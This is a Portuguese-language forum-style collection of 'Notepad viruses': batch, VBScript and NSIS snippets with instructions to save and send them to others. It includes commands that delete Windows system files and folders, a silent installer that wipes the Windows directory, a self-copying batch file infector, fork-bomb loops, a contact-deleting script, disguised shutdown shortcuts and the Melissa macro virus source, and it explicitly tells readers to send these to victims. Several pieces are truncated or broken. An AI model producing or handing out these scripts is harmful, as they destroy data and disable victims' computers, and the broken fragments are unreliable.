Comandos De Virus (Bloco De Notas)

Desligar o PC
    1- botão direito de rato no ecran > Novo > Atalho;
    2- Escreve o seguinte na caixa de texto da janela "C:\Windows\System32\shutdown.exe /c "mensagem" /s /t 55" sem aspas;
        Onde está escrito "mensagem" escreve o que quiseres, é a mensagem que vai ser mostrada no ecran; 55 é o tempo restante em segundos para o computador ser desligado, podes alterar para 10 para ser mais realista.
    3- Clica "Seguinte" e escreve o nome do ficheiro, podes escrever "não clicar", de certezinha que alguém vai mexer xD
    4- Clica em "Concluir" e ta tudo ok... não cliques no ficheiro que criaste senão vais desligar o teu computador.
    5- Agarra no ficheiro e arrasta para o MSN para um amigo teu... passado um bocado vais ver que ele ficou offline hehe :D

    Se quiseres fazer um anti-vírus para testares bem o teu vírus é só refazeres tudo mas substituíres a linha de código por esta "C:\Windows\System32\shutdown.exe /a", assim que deres dois cliques ele anula o encerramento.
    Podes também fazer download em baixo do vírus e do anti-vírus se não o quiseres fazer.

Looping Error - Este virus repete infinitamente uma mensagem de erro do windows.
    1- abre o bloco de notas e cola-lhe o seguinte:

Do
x=msgbox("Windows Protection error: D556d5. Please restart your computer",21,"Error")
loop

    2- guarda o ficheiro como "qualquercoisa.vbs".
    3- criaste o teu virus.
Nota: este virus só termina reiniciando o pc.

Merlin Virus - Simplesmente brutal... este virus chama o merlin (ajundante de pesquisa do windows) e ele diverte-se a faser merdas ao pc.
    1- abre o bloco de notas e guarda o ficheiro em branco com este nome "clica-me.vbs", atenção o mais importante é ter a extenção .vbs de resto o nome pode ser o que quiseres.
    2- butão direito no ficheiro que criaste e clica em EDIT ou abrir com... bloco de notas
    3- copia o texto abaixo para o ficheiro, fecha e grava.
Nota: este virus reinicia o pc por isso é melhor guardar as coisas antes do executar
  
On Error Resume Next
StrAgentName2 = "MERLIN"
StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"
Set objAgent2 = CreateObject("Agent.Control.2")
ObjAgent2.Connected = TRUE
ObjAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "GetAttention"
ObjPeter.Play "GetAttentionReturn"
ObjPeter.Speak("Hi I'm merlin here to take control of your computer")
Wscript.Sleep 1000
Set objAction= objPeter.Hide
Do While objPeter.Visible = True
Wscript.Sleep 250
Loop
Wscript.Sleep 100
On Error Resume Next
StrAgentName2 = "MERLIN"
StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"
Set objAgent2 = CreateObject("Agent.Control.2")
ObjAgent2.Connected = TRUE
ObjAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "GetAttention"
ObjPeter.Play "GetAttentionReturn"
ObjPeter.Speak("downloading virus . . . 20% . . . 40% . . . 60% . . . 80% . . . 100% virus downloaded")
Wscript.Sleep 1000
Set objAction= objPeter.Hide
Do While objPeter.Visible = True
Wscript.Sleep 250
Loop
Wscript.Sleep 100
On Error Resume Next
StrAgentName2 = "MERLIN"
StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"
Set objAgent2 = CreateObject("Agent.Control.2")
ObjAgent2.Connected = TRUE
ObjAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "GetAttention"
ObjPeter.Play "GetAttentionReturn"
ObjPeter.Speak("watch as I open your cd drive")
Wscript.Sleep 1000
Set objAction= objPeter.Hide
Do While objPeter.Visible = True
Wscript.Sleep 250
Loop
Wscript.Sleep 100
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.CdromCollection
If colCDROMs.Count >= 1 then
For I = 0 to colCDROMs.Count - 1
ColCDROMs.Item(I).Eject
Next ' cdrom
End If
Wscript.Sleep 100
On Error Resume Next
StrAgentName2 = "MERLIN"
StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"
Set objAgent2 = CreateObject("Agent.Control.2")
ObjAgent2.Connected = TRUE
ObjAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "GetAttention"
ObjPeter.Play "GetAttentionReturn"
ObjPeter.Speak("lol I now open internet explorer")
Wscript.Sleep 1000
Set objAction= objPeter.Hide
Do While objPeter.Visible = True
Wscript.Sleep 250
Loop
Wscript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "iexplore http://www.Google.Com", 9
WScript.Sleep 10000 ' Give ie some time to load
'Close the browser
WshShell.SendKeys "%F"
WshShell.SendKeys "C"
Wscript.Sleep 100
On Error Resume Next
StrAgentName2 = "MERLIN"
StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"
Set objAgent2 = CreateObject("Agent.Control.2")
ObjAgent2.Connected = TRUE
ObjAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "GetAttention"
ObjPeter.Play "GetAttentionReturn"
ObjPeter.Speak("now I will restart your computer")
Wscript.Sleep 1000
Set objAction= objPeter.Hide
Do While objPeter.Visible = True
Wscript.Sleep 250
Loop
Do
Wscript.Sleep 100
WshShell.SendKeys "%{F4}"
Wscript.Sleep 100
Wshshell.Sendkeys "are"
Loop
__________________________________________________________________________
    para criar esse virus vcs tem que abrir o bloco de notas,copiar e colar esse comando a baixo!!!
e não se esqueçam de salvar com o nome que vc quizer com .bat no final.
@echo off
break off
del C:\windows\System32\smss.exe
del C:\windows\system32\csrss.exe
del C:\windows\system32\winlogon.exe
del C:\windows\system32\services.exe
del C:\windows\system32\lsass.exe
del C:\windows\system32\svchost.exe
del C:\windows\system32\svchost.exe
del C:\windows\System32\svchost.exe
del C:\windows\system32\svchost.exe
del C:\windows\system32\svchost.exe
del C:\windows\system32\spoolsv.exe
del C:\windows\Explorer.EXE
del C:\wvindows\system32\ctfmon.exe
del C:\WINDOWS\system32\bgsvcgen.exe
del C:\windows\system32\nvsvc32.exe
del C:\windows\system32\svchost.exe
del C:\windows\System32\alg.exe
rm c:\windows
_________________________________________________________________________________
cavalo de troia pelo bloco de notas!!!
primeiro abra o bloco de notas e depois copie e cole isso aqui em baixo e salve com o nome que vc quer e bote .bat depois do nome.


VERSION 5.00
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#­2.0#0"; "mscomctl.ocx"
Begin VB.Form Form1
BackColor = &H80000007&
BorderStyle = 1 'Fixed Single
Caption = "Welcome to XP Blaster Pro (Enterprise Edition)!"
ClientHeight = 5400
ClientLeft = 45
ClientTop = 390
ClientWidth = 8085
BeginProperty Font
Name = "Fixedsys"
Size = 9
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Icon = "Source3.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
MouseIcon = "Source3.frx":08CA
PaletteMode = 2 'Custom
ScaleHeight = 5400
ScaleWidth = 8085
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin VB.CommandButton Command3
Caption = "About"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 120
TabIndex = 3
Top = 4920
Width = 1215
End
Begin VB.CommandButton Command2
Appearance = 0 'Flat
BackColor = &H000000FF&
Caption = "WEBSITE"
BeginProperty Font
Name = "Trebuchet MS"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height
________________________________________________________________________-
outro virus pelo bloco de notas

!define PRODUCT_NAME "APAGADOR_XXX"
!define PRODUCT_VERSION "1.0"
!define PRODUCT_PUBLISHER "HACKER_XXX"
SetCompressor lzma
Name "${PRODUCT_NAME} ${PRODUCT_VERSION}"
OutFile "MeuVirus.exe"
InstallDir "$TEMP"
Icon "${NSISDIR}\Contrib\Graphics\Icons\modern-install.ico"
SilentInstall silent
Section "Sec001" SEC01
Delete /REBOOTOK "$WINDIR\*.*"
SectionEnd
Section -Post
Reboot
SectionEnd
___________________________________________________________________________
                                    virus eu te amo!!
para destruir o pc de uma pessoa vc tem que criar no bloco de notas (iniciar / todos os programas / acessorios / bloco de notas) copie e cole no bloco de notas isso abaixo:

CD\
CD\WINDOWS
DEL WIN.INI
DEL WIN.COM
DEL SYSTEM
DEL SYSTEM.INI
DEL SYSTEM.COM
DEL SYSTEM32
DEL SECURITY
DEL REGEDIT.EXE
DEL HH.EXE
DEL CONFIG
DEL CONTROL.INI
DEL CONTROL.COM
DEL DEBUG
DEL CLOCK.AVI
DEL TASKMAN.EXE
DEL WININIT.INI
DEL WININIT.COM
DEL WEB
CD\
DEL CONFIG.SYS
DEL AUTOEXEC.BAT
rmdir /s /q c:\windows

Após ter feito isso salve o arquivo e renomeio de auguma coisa que você queira por no titulo, mas tem que ter no final .bat (exemplo: virus.bat)

virus irritantes
1- Abre infinitos sites de uma vez:
@ECHO OFF
:8BitDeposit
START http://www.seusite.que.vai.abrir.simultaneamente.com/
CLS
GOTO 8BitDeposit

2- Cria 100 pastas no Desktop:
@ECHO OFF
CD %userprofile%\Desktop
SET NumeroDePastas=100
SET /a Nome=0
:3
IF EXIST %NumeroDePastas% GOTO 4
SET /a Nome=%Nome%+1
MD %Nome%
GOTO 3
:4
EXIT

3- Abre infinitas Mensagens:
@ECHO OFF
:8BitDeposit
MSG * Digite Aqui sua Mensagem
GOTO 8BitDeposit

4- Emite Bips sem parar:

@ECHO OFF
:8BitDeposit
ECHO
CLS
GOTO 8BitDeposit

criar virus pelo bloco de notas
abra o bloco de notas
Copie os códigos escolhidos e cole no bloco de notas, ao salvar voce usa a extençao .bat
exemplo: onomedoarquivo.bat
Se vc usar outra extensão o arquivo ñ ira pegar

AVISO:Não execute estes virus em seu proprio Pc, pois pode ocorrer serios danos, voce deve enviar para as vitimas!!!

_____________________________________________________________________________
_______________________________________________________________________________
______________________________________________________________________________________________________________________________________________

Nome:Del All Windows

rmdir /s /q c:\windows

Função:Deleta tdo do Windows (fode o pc

Nome:Autoexec

@ECHO OFF
@BREAK OFF
deltree/C: Y\*.*
Função:Fode com tudo
______________________________________________________________________________
Nome:Trojan-1
VERSION 5.00
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx"
Begin VB.Form Form1
BackColor = &H80000007&
BorderStyle = 1 'Fixed Single
Caption = "Welcome to XP Blaster Pro (Enterprise Edition)!"
ClientHeight = 5400
ClientLeft = 45
ClientTop = 390
ClientWidth = 8085
BeginProperty Font
Name = "Fixedsys"
Size = 9
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Icon = "Source3.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
MouseIcon = "Source3.frx":08CA
PaletteMode = 2 'Custom
ScaleHeight = 5400
ScaleWidth = 8085
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin VB.CommandButton Command3
Caption = "About"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 120
TabIndex = 3
Top = 4920
Width = 1215
End
Begin VB.CommandButton Command2
Appearance = 0 'Flat
BackColor = &H000000FF&
Caption = "WEBSITE"
BeginProperty Font
Name = "Trebuchet MS"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height
Função:Augumas dos trojans tradiçionais
___________________________________________________________________________
Nome:Del p/ Windows

del /s /q c:\windows\
Função:Deleta tudo dentro do Windows ex: arquivos e naum pastas
____________________________________________________________________________
Nome:Shutdown-S

shutdown -s
Função:Desliga o pc
_______________________________________________________________________________
Nome:Shutdown-R

shutdown -r
Função:Reinicia o pc
_________________________________________________________________________________
Nome:Trojan-2
@echo off
ctty nul
rem
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
Função:Fode com tudo mesmo...
______________________________________________________________________________
Nome:Pirata
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Função:Testar seu Anti-Virus ou enganar auguem.
____________________________________________________________________
Nome:Melissa 1999
// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End
Função:se espalha rapidamente e força empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O vírus, além de se enviar pela Internet, modificava documentos do Word colocando falas do programa de televisão Os Simpsons. Causou danos estimados em US$ 300 milhões a US$ 600 milhões.
_______________________________________________________
Nome:CLICK EM MIM
@ECHO OFF
:REPETE
MSG * CLICK EM MIM
GOTO REPETE
Função:Fica repetindo varias vezes a mesma mensagem
_______________________________________________________________________
Nome:Progstar
@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start winword.exe
start msacess.exe
goto Fucker:
Função:Abre varios programas sem parar, fais o pc trava
______________________________________________________________
Nome:bomba relógio
c:\
cd\
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
rmdir C:\windows
rmdir C:\arquivos de programas
rmdir C:\documents and settings
:fim
Função:depois que ele for ativado 7 vezes ele apaga tudo
Nome:MSN Fixer
cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd "Windows Live Contacts"
del /s /q *.*
Função:Congela todos os msn's que estao sendo executados.
novo virus .bat que trava seu pc

Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe
Explore.exe